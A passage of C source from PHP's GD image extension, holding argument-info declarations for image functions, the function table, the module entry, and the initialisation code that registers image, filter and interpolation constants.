ZEND_ARG_INFO(0, str) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagestringup, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, str) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopy, 0) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopymerge, 0) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_ARG_INFO(0, pct) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopymergegray, 0) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_ARG_INFO(0, pct) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopyresized, 0) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, dst_w) ZEND_ARG_INFO(0, dst_h) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesx, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesy, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() #ifdef ENABLE_GD_TTF #if HAVE_LIBFREETYPE ZEND_BEGIN_ARG_INFO_EX(arginfo_imageftbbox, 0, 0, 4) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, font_file) ZEND_ARG_INFO(0, text) ZEND_ARG_INFO(0, extrainfo) /* ARRAY_INFO(0, extrainfo, 0) */ ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagefttext, 0, 0, 8) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, col) ZEND_ARG_INFO(0, font_file) ZEND_ARG_INFO(0, text) ZEND_ARG_INFO(0, extrainfo) /* ARRAY_INFO(0, extrainfo, 0) */ ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO(arginfo_imagettfbbox, 0) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, font_file) ZEND_ARG_INFO(0, text) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagettftext, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, col) ZEND_ARG_INFO(0, font_file) ZEND_ARG_INFO(0, text) ZEND_END_ARG_INFO() #endif #ifdef HAVE_LIBT1 ZEND_BEGIN_ARG_INFO(arginfo_imagepsloadfont, 0) ZEND_ARG_INFO(0, pathname) ZEND_END_ARG_INFO() /* ZEND_BEGIN_ARG_INFO(arginfo_imagepscopyfont, 0) ZEND_ARG_INFO(0, font_index) ZEND_END_ARG_INFO() */ ZEND_BEGIN_ARG_INFO(arginfo_imagepsfreefont, 0) ZEND_ARG_INFO(0, font_index) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepsencodefont, 0) ZEND_ARG_INFO(0, font_index) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepsextendfont, 0) ZEND_ARG_INFO(0, font_index) ZEND_ARG_INFO(0, extend) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepsslantfont, 0) ZEND_ARG_INFO(0, font_index) ZEND_ARG_INFO(0, slant) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagepstext, 0, 0, 8) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, text) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, foreground) ZEND_ARG_INFO(0, background) ZEND_ARG_INFO(0, xcoord) ZEND_ARG_INFO(0, ycoord) ZEND_ARG_INFO(0, space) ZEND_ARG_INFO(0, tightness) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, antialias) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagepsbbox, 0, 0, 3) ZEND_ARG_INFO(0, text) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, space) ZEND_ARG_INFO(0, tightness) ZEND_ARG_INFO(0, angle) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO_EX(arginfo_image2wbmp, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, threshold) ZEND_END_ARG_INFO() #if defined(HAVE_GD_JPG) ZEND_BEGIN_ARG_INFO(arginfo_jpeg2wbmp, 0) ZEND_ARG_INFO(0, f_org) ZEND_ARG_INFO(0, f_dest) ZEND_ARG_INFO(0, d_height) ZEND_ARG_INFO(0, d_width) ZEND_ARG_INFO(0, d_threshold) ZEND_END_ARG_INFO() #endif #if defined(HAVE_GD_PNG) ZEND_BEGIN_ARG_INFO(arginfo_png2wbmp, 0) ZEND_ARG_INFO(0, f_org) ZEND_ARG_INFO(0, f_dest) ZEND_ARG_INFO(0, d_height) ZEND_ARG_INFO(0, d_width) ZEND_ARG_INFO(0, d_threshold) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO_EX(arginfo_imagefilter, 0, 0, 2) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filtertype) ZEND_ARG_INFO(0, arg1) ZEND_ARG_INFO(0, arg2) ZEND_ARG_INFO(0, arg3) ZEND_ARG_INFO(0, arg4) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageconvolution, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, matrix3x3) /* ARRAY_INFO(0, matrix3x3, 0) */ ZEND_ARG_INFO(0, div) ZEND_ARG_INFO(0, offset) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageflip, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, mode) ZEND_END_ARG_INFO() #ifdef HAVE_GD_BUNDLED ZEND_BEGIN_ARG_INFO(arginfo_imageantialias, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, on) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO(arginfo_imagecrop, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, rect) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagecropauto, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, mode) ZEND_ARG_INFO(0, threshold) ZEND_ARG_INFO(0, color) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagescale, 0, 0, 2) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, new_width) ZEND_ARG_INFO(0, new_height) ZEND_ARG_INFO(0, mode) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imageaffine, 0, 0, 2) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, affine) ZEND_ARG_INFO(0, clip) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imageaffinematrixget, 0, 0, 1) ZEND_ARG_INFO(0, type) ZEND_ARG_INFO(0, options) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageaffinematrixconcat, 0) ZEND_ARG_INFO(0, m1) ZEND_ARG_INFO(0, m2) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetinterpolation, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, method) ZEND_END_ARG_INFO() /* }}} */ /* {{{ gd_functions[] */ const zend_function_entry gd_functions[] = { PHP_FE(gd_info, arginfo_gd_info) PHP_FE(imagearc, arginfo_imagearc) PHP_FE(imageellipse, arginfo_imageellipse) PHP_FE(imagechar, arginfo_imagechar) PHP_FE(imagecharup, arginfo_imagecharup) PHP_FE(imagecolorat, arginfo_imagecolorat) PHP_FE(imagecolorallocate, arginfo_imagecolorallocate) PHP_FE(imagepalettecopy, arginfo_imagepalettecopy) PHP_FE(imagecreatefromstring, arginfo_imagecreatefromstring) PHP_FE(imagecolorclosest, arginfo_imagecolorclosest) PHP_FE(imagecolorclosesthwb, arginfo_imagecolorclosesthwb) PHP_FE(imagecolordeallocate, arginfo_imagecolordeallocate) PHP_FE(imagecolorresolve, arginfo_imagecolorresolve) PHP_FE(imagecolorexact, arginfo_imagecolorexact) PHP_FE(imagecolorset, arginfo_imagecolorset) PHP_FE(imagecolortransparent, arginfo_imagecolortransparent) PHP_FE(imagecolorstotal, arginfo_imagecolorstotal) PHP_FE(imagecolorsforindex, arginfo_imagecolorsforindex) PHP_FE(imagecopy, arginfo_imagecopy) PHP_FE(imagecopymerge, arginfo_imagecopymerge) PHP_FE(imagecopymergegray, arginfo_imagecopymergegray) PHP_FE(imagecopyresized, arginfo_imagecopyresized) PHP_FE(imagecreate, arginfo_imagecreate) PHP_FE(imagecreatetruecolor, arginfo_imagecreatetruecolor) PHP_FE(imageistruecolor, arginfo_imageistruecolor) PHP_FE(imagetruecolortopalette, arginfo_imagetruecolortopalette) PHP_FE(imagepalettetotruecolor, arginfo_imagepalettetotruecolor) PHP_FE(imagesetthickness, arginfo_imagesetthickness) PHP_FE(imagefilledarc, arginfo_imagefilledarc) PHP_FE(imagefilledellipse, arginfo_imagefilledellipse) PHP_FE(imagealphablending, arginfo_imagealphablending) PHP_FE(imagesavealpha, arginfo_imagesavealpha) PHP_FE(imagecolorallocatealpha, arginfo_imagecolorallocatealpha) PHP_FE(imagecolorresolvealpha, arginfo_imagecolorresolvealpha) PHP_FE(imagecolorclosestalpha, arginfo_imagecolorclosestalpha) PHP_FE(imagecolorexactalpha, arginfo_imagecolorexactalpha) PHP_FE(imagecopyresampled, arginfo_imagecopyresampled) #ifdef PHP_WIN32 PHP_FE(imagegrabwindow, arginfo_imagegrabwindow) PHP_FE(imagegrabscreen, arginfo_imagegrabscreen) #endif PHP_FE(imagerotate, arginfo_imagerotate) PHP_FE(imageflip, arginfo_imageflip) #ifdef HAVE_GD_BUNDLED PHP_FE(imageantialias, arginfo_imageantialias) #endif PHP_FE(imagecrop, arginfo_imagecrop) PHP_FE(imagecropauto, arginfo_imagecropauto) PHP_FE(imagescale, arginfo_imagescale) PHP_FE(imageaffine, arginfo_imageaffine) PHP_FE(imageaffinematrixconcat, arginfo_imageaffinematrixconcat) PHP_FE(imageaffinematrixget, arginfo_imageaffinematrixget) PHP_FE(imagesetinterpolation, arginfo_imagesetinterpolation) PHP_FE(imagesettile, arginfo_imagesettile) PHP_FE(imagesetbrush, arginfo_imagesetbrush) PHP_FE(imagesetstyle, arginfo_imagesetstyle) #ifdef HAVE_GD_PNG PHP_FE(imagecreatefrompng, arginfo_imagecreatefrompng) #endif #ifdef HAVE_GD_WEBP PHP_FE(imagecreatefromwebp, arginfo_imagecreatefromwebp) #endif PHP_FE(imagecreatefromgif, arginfo_imagecreatefromgif) #ifdef HAVE_GD_JPG PHP_FE(imagecreatefromjpeg, arginfo_imagecreatefromjpeg) #endif PHP_FE(imagecreatefromwbmp, arginfo_imagecreatefromwbmp) PHP_FE(imagecreatefromxbm, arginfo_imagecreatefromxbm) #if defined(HAVE_GD_XPM) PHP_FE(imagecreatefromxpm, arginfo_imagecreatefromxpm) #endif PHP_FE(imagecreatefromgd, arginfo_imagecreatefromgd) PHP_FE(imagecreatefromgd2, arginfo_imagecreatefromgd2) PHP_FE(imagecreatefromgd2part, arginfo_imagecreatefromgd2part) #ifdef HAVE_GD_PNG PHP_FE(imagepng, arginfo_imagepng) #endif #ifdef HAVE_GD_WEBP PHP_FE(imagewebp, arginfo_imagewebp) #endif PHP_FE(imagegif, arginfo_imagegif) #ifdef HAVE_GD_JPG PHP_FE(imagejpeg, arginfo_imagejpeg) #endif PHP_FE(imagewbmp, arginfo_imagewbmp) PHP_FE(imagegd, arginfo_imagegd) PHP_FE(imagegd2, arginfo_imagegd2) PHP_FE(imagedestroy, arginfo_imagedestroy) PHP_FE(imagegammacorrect, arginfo_imagegammacorrect) PHP_FE(imagefill, arginfo_imagefill) PHP_FE(imagefilledpolygon, arginfo_imagefilledpolygon) PHP_FE(imagefilledrectangle, arginfo_imagefilledrectangle) PHP_FE(imagefilltoborder, arginfo_imagefilltoborder) PHP_FE(imagefontwidth, arginfo_imagefontwidth) PHP_FE(imagefontheight, arginfo_imagefontheight) PHP_FE(imageinterlace, arginfo_imageinterlace) PHP_FE(imageline, arginfo_imageline) PHP_FE(imageloadfont, arginfo_imageloadfont) PHP_FE(imagepolygon, arginfo_imagepolygon) PHP_FE(imagerectangle, arginfo_imagerectangle) PHP_FE(imagesetpixel, arginfo_imagesetpixel) PHP_FE(imagestring, arginfo_imagestring) PHP_FE(imagestringup, arginfo_imagestringup) PHP_FE(imagesx, arginfo_imagesx) PHP_FE(imagesy, arginfo_imagesy) PHP_FE(imagedashedline, arginfo_imagedashedline) #ifdef ENABLE_GD_TTF PHP_FE(imagettfbbox, arginfo_imagettfbbox) PHP_FE(imagettftext, arginfo_imagettftext) #if HAVE_GD_FREETYPE && HAVE_LIBFREETYPE PHP_FE(imageftbbox, arginfo_imageftbbox) PHP_FE(imagefttext, arginfo_imagefttext) #endif #endif #ifdef HAVE_LIBT1 PHP_FE(imagepsloadfont, arginfo_imagepsloadfont) /* PHP_FE(imagepscopyfont, arginfo_imagepscopyfont) */ PHP_FE(imagepsfreefont, arginfo_imagepsfreefont) PHP_FE(imagepsencodefont, arginfo_imagepsencodefont) PHP_FE(imagepsextendfont, arginfo_imagepsextendfont) PHP_FE(imagepsslantfont, arginfo_imagepsslantfont) PHP_FE(imagepstext, arginfo_imagepstext) PHP_FE(imagepsbbox, arginfo_imagepsbbox) #endif PHP_FE(imagetypes, arginfo_imagetypes) #if defined(HAVE_GD_JPG) PHP_FE(jpeg2wbmp, arginfo_jpeg2wbmp) #endif #if defined(HAVE_GD_PNG) PHP_FE(png2wbmp, arginfo_png2wbmp) #endif PHP_FE(image2wbmp, arginfo_image2wbmp) PHP_FE(imagelayereffect, arginfo_imagelayereffect) PHP_FE(imagexbm, arginfo_imagexbm) PHP_FE(imagecolormatch, arginfo_imagecolormatch) /* gd filters */ PHP_FE(imagefilter, arginfo_imagefilter) PHP_FE(imageconvolution, arginfo_imageconvolution) PHP_FE_END }; /* }}} */ zend_module_entry gd_module_entry = { STANDARD_MODULE_HEADER, "gd", gd_functions, PHP_MINIT(gd), #if HAVE_LIBT1 PHP_MSHUTDOWN(gd), #else NULL, #endif NULL, #if HAVE_GD_FREETYPE && HAVE_LIBFREETYPE PHP_RSHUTDOWN(gd), #else NULL, #endif PHP_MINFO(gd), NO_VERSION_YET, STANDARD_MODULE_PROPERTIES }; #ifdef COMPILE_DL_GD ZEND_GET_MODULE(gd) #endif /* {{{ PHP_INI_BEGIN */ PHP_INI_BEGIN() PHP_INI_ENTRY("gd.jpeg_ignore_warning", "0", PHP_INI_ALL, NULL) PHP_INI_END() /* }}} */ /* {{{ php_free_gd_image */ static void php_free_gd_image(zend_rsrc_list_entry *rsrc TSRMLS_DC) { gdImageDestroy((gdImagePtr) rsrc->ptr); } /* }}} */ /* {{{ php_free_gd_font */ static void php_free_gd_font(zend_rsrc_list_entry *rsrc TSRMLS_DC) { gdFontPtr fp = (gdFontPtr) rsrc->ptr; if (fp->data) { efree(fp->data); } efree(fp); } /* }}} */ #ifndef HAVE_GD_BUNDLED /* {{{ php_gd_error_method */ void php_gd_error_method(int type, const char *format, va_list args) { TSRMLS_FETCH(); switch (type) { case GD_DEBUG: case GD_INFO: case GD_NOTICE: type = E_NOTICE; break; case GD_WARNING: type = E_WARNING; break; default: type = E_ERROR; } php_verror(NULL, "", type, format, args TSRMLS_CC); } /* }}} */ #endif /* {{{ PHP_MSHUTDOWN_FUNCTION */ #if HAVE_LIBT1 PHP_MSHUTDOWN_FUNCTION(gd) { T1_CloseLib(); #if HAVE_GD_BUNDLED && HAVE_LIBFREETYPE gdFontCacheMutexShutdown(); #endif UNREGISTER_INI_ENTRIES(); return SUCCESS; } #endif /* }}} */ /* {{{ PHP_MINIT_FUNCTION */ PHP_MINIT_FUNCTION(gd) { le_gd = zend_register_list_destructors_ex(php_free_gd_image, NULL, "gd", module_number); le_gd_font = zend_register_list_destructors_ex(php_free_gd_font, NULL, "gd font", module_number); #if HAVE_GD_BUNDLED && HAVE_LIBFREETYPE gdFontCacheMutexSetup(); #endif #if HAVE_LIBT1 T1_SetBitmapPad(8); T1_InitLib(NO_LOGFILE | IGNORE_CONFIGFILE | IGNORE_FONTDATABASE); T1_SetLogLevel(T1LOG_DEBUG); le_ps_font = zend_register_list_destructors_ex(php_free_ps_font, NULL, "gd PS font", module_number); le_ps_enc = zend_register_list_destructors_ex(php_free_ps_enc, NULL, "gd PS encoding", module_number); #endif #ifndef HAVE_GD_BUNDLED gdSetErrorMethod(php_gd_error_method); #endif REGISTER_INI_ENTRIES(); REGISTER_LONG_CONSTANT("IMG_GIF", 1, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_JPG", 2, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_JPEG", 2, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_PNG", 4, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_WBMP", 8, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_XPM", 16, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_WEBP", 32, CONST_CS | CONST_PERSISTENT); /* special colours for gd */ REGISTER_LONG_CONSTANT("IMG_COLOR_TILED", gdTiled, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_COLOR_STYLED", gdStyled, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_COLOR_BRUSHED", gdBrushed, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_COLOR_STYLEDBRUSHED", gdStyledBrushed, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_COLOR_TRANSPARENT", gdTransparent, CONST_CS | CONST_PERSISTENT); /* for imagefilledarc */ REGISTER_LONG_CONSTANT("IMG_ARC_ROUNDED", gdArc, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_ARC_PIE", gdPie, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_ARC_CHORD", gdChord, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_ARC_NOFILL", gdNoFill, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_ARC_EDGED", gdEdged, CONST_CS | CONST_PERSISTENT); /* GD2 image format types */ REGISTER_LONG_CONSTANT("IMG_GD2_RAW", GD2_FMT_RAW, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_GD2_COMPRESSED", GD2_FMT_COMPRESSED, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FLIP_HORIZONTAL", GD_FLIP_HORINZONTAL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FLIP_VERTICAL", GD_FLIP_VERTICAL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FLIP_BOTH", GD_FLIP_BOTH, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_EFFECT_REPLACE", gdEffectReplace, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_EFFECT_ALPHABLEND", gdEffectAlphaBlend, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_EFFECT_NORMAL", gdEffectNormal, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_EFFECT_OVERLAY", gdEffectOverlay, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_DEFAULT", GD_CROP_DEFAULT, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_TRANSPARENT", GD_CROP_TRANSPARENT, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_BLACK", GD_CROP_BLACK, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_WHITE", GD_CROP_WHITE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_SIDES", GD_CROP_SIDES, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_THRESHOLD", GD_CROP_THRESHOLD, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BELL", GD_BELL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BESSEL", GD_BESSEL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BILINEAR_FIXED", GD_BILINEAR_FIXED, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BICUBIC", GD_BICUBIC, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BICUBIC_FIXED", GD_BICUBIC_FIXED, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BLACKMAN", GD_BLACKMAN, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BOX", GD_BOX, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BSPLINE", GD_BSPLINE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CATMULLROM", GD_CATMULLROM, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_GAUSSIAN", GD_GAUSSIAN, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_GENERALIZED_CUBIC", GD_GENERALIZED_CUBIC, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_HERMITE", GD_HERMITE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_HAMMING", GD_HAMMING, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_HANNING", GD_HANNING, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_MITCHELL", GD_MITCHELL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_POWER", GD_POWER, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_QUADRATIC", GD_QUADRATIC, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_SINC", GD_SINC, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_NEAREST_NEIGHBOUR", GD_NEAREST_NEIGHBOUR, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_WEIGHTED4", GD_WEIGHTED4, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_TRIANGLE", GD_TRIANGLE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_TRANSLATE", GD_AFFINE_TRANSLATE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_SCALE", GD_AFFINE_SCALE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_ROTATE", GD_AFFINE_ROTATE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_SHEAR_HORIZONTAL", GD_AFFINE_SHEAR_HORIZONTAL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_SHEAR_VERTICAL", GD_AFFINE_SHEAR_VERTICAL, CONST_CS | CONST_PERSISTENT); #if defined(HAVE_GD_BUNDLED) REGISTER_LONG_CONSTANT("GD_BUNDLED", 1, CONST_CS | CONST_PERSISTENT); #else REGISTER_LONG_CONSTANT("GD_BUNDLED", 0, CONST_CS | CONST_PERSISTENT); #endif /* Section Filters */ REGISTER_LONG_CONSTANT("IMG_FILTER_NEGATE", IMAGE_FILTER_NEGATE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_GRAYSCALE", IMAGE_FILTER_GRAYSCALE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_BRIGHTNESS", IMAGE_FILTER_BRIGHTNESS, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_CONTRAST", IMAGE_FILTER_CONTRAST, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_COLORIZE", IMAGE_FILTER_COLORIZE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_EDGEDETECT", IMAGE_FILTER_EDGEDETECT, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_GAUSSIAN_BLUR", IMAGE_FILTER_GAUSSIAN_BLUR, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_SELECTIVE_BLUR", IMAGE_FILTER_SELECTIVE_BLUR, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_EMBOSS", IMAGE_FILTER_EMBOSS, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_MEAN_REMOVAL", IMAGE_FILTER_MEAN_REMOVAL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_SMOOTH", IMAGE_FILTER_SMOOTH, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_PIXELATE", IMAGE_FILTER_PIXELATE, CONST_CS | CONST_PERSISTENT); /* End Section Filters */ #ifdef GD_VERSION_STRING REGISTER_STRING_CONSTANT("GD_VERSION", GD_VERSION_STRING, CONST_CS | CONST_PERSISTENT); #endif #if defined(GD_MAJOR_VERSION) && defined(GD_MINOR_VERSION) && defined(GD_RELEASE_VERSION) && defined(GD_EXTRA_VERSION) REGISTER_LONG_CONSTANT("GD_MAJOR_VERSION", GD_MAJOR_VERSION, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("GD_MINOR_VERSION", GD_MINOR_VERSION, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("GD_RELEASE_VERSION", GD_RELEASE_VERSION, CONST_CS | CONST_PERSISTENT); REGISTER_STRING_CONSTANT("GD_EXTRA_VERSION", GD_EXTRA_VERSION, CONST_CS | CONST_PERSISTENT); #endif #ifdef HAVE_GD_PNG /* * cannot include #include "png.h" * /usr/include/pngconf.h:310:2: error: #error png.h already includes setjmp.h with some additional fixup. * as error, use the values for now... */ REGISTER_LONG_CONSTANT("PNG_NO_FILTER", 0x00, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_NONE", 0x08, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_SUB", 0x10, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_UP", 0x20, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_AVG", 0x40, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_PAETH", 0x80, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_ALL_FILTERS", 0x08 | 0x10 | 0x20 | 0x40 | 0x80, CONST_CS | CONST_PERSISTENT); #endif return SUCCESS; } /* }}} */ /* {{{ PHP_RSHUTDOWN_FUNCTION */ #if HAVE_GD_FREETYPE && HAVE_LIBFREETYPE PHP_RSHUTDOWN_FUNCTION(gd) { gdFontCacheShutdown(); return SUCCESS; } #endif /* }}} */ #if defined(HAVE_GD_BUNDLED) #define PHP_GD_VERSION_STRING "bundled (2.1.0 compatible)" #else # define PHP_GD_VERSION_STRING GD_VERSION_STRING #endif /* {{{ PHP_MINFO_FUNCTION */ 